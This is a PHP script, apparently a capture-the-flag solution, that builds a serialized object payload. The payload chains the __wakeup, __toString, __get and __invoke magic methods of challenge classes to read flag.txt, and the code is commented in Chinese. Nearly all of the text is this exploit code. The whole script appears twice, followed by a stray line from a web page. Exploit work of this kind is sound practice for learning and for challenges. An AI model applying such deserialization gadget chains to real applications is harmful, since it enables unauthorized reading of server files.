<?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化，满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?><?php class RitualEngine { public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 5. 最终执行读取的机关 (内层) $innerEngine = new RitualEngine(); $innerEngine->target = 'flag.txt'; // 目标文件 // 4. 触发 invoke 的机关 (外层) $outerEngine = new RitualEngine(); // 构造 [对象, 方法] 数组并反序列化，满足 $map['view'] => 'run' $outerEngine->callback = serialize([$innerEngine, 'view']); // 3. 触发 get 并调用 invoke 的基石 $keystone = new Keystone(); $keystone->center = $outerEngine; // 2. 触发 toString 并访问不存在属性的守卫 (内层) $innerSentinel = new GateSentinel(); $innerSentinel->tool = ['blade' => $keystone]; // 1. 触发 wakeup 并引发类型转换的守卫 (外层入口) $outerSentinel = new GateSentinel(); $outerSentinel->object = $innerSentinel; // 输出最终的 payload echo serialize($outerSentinel); ?>
You have javascript disabled. You will not be able to edit any code.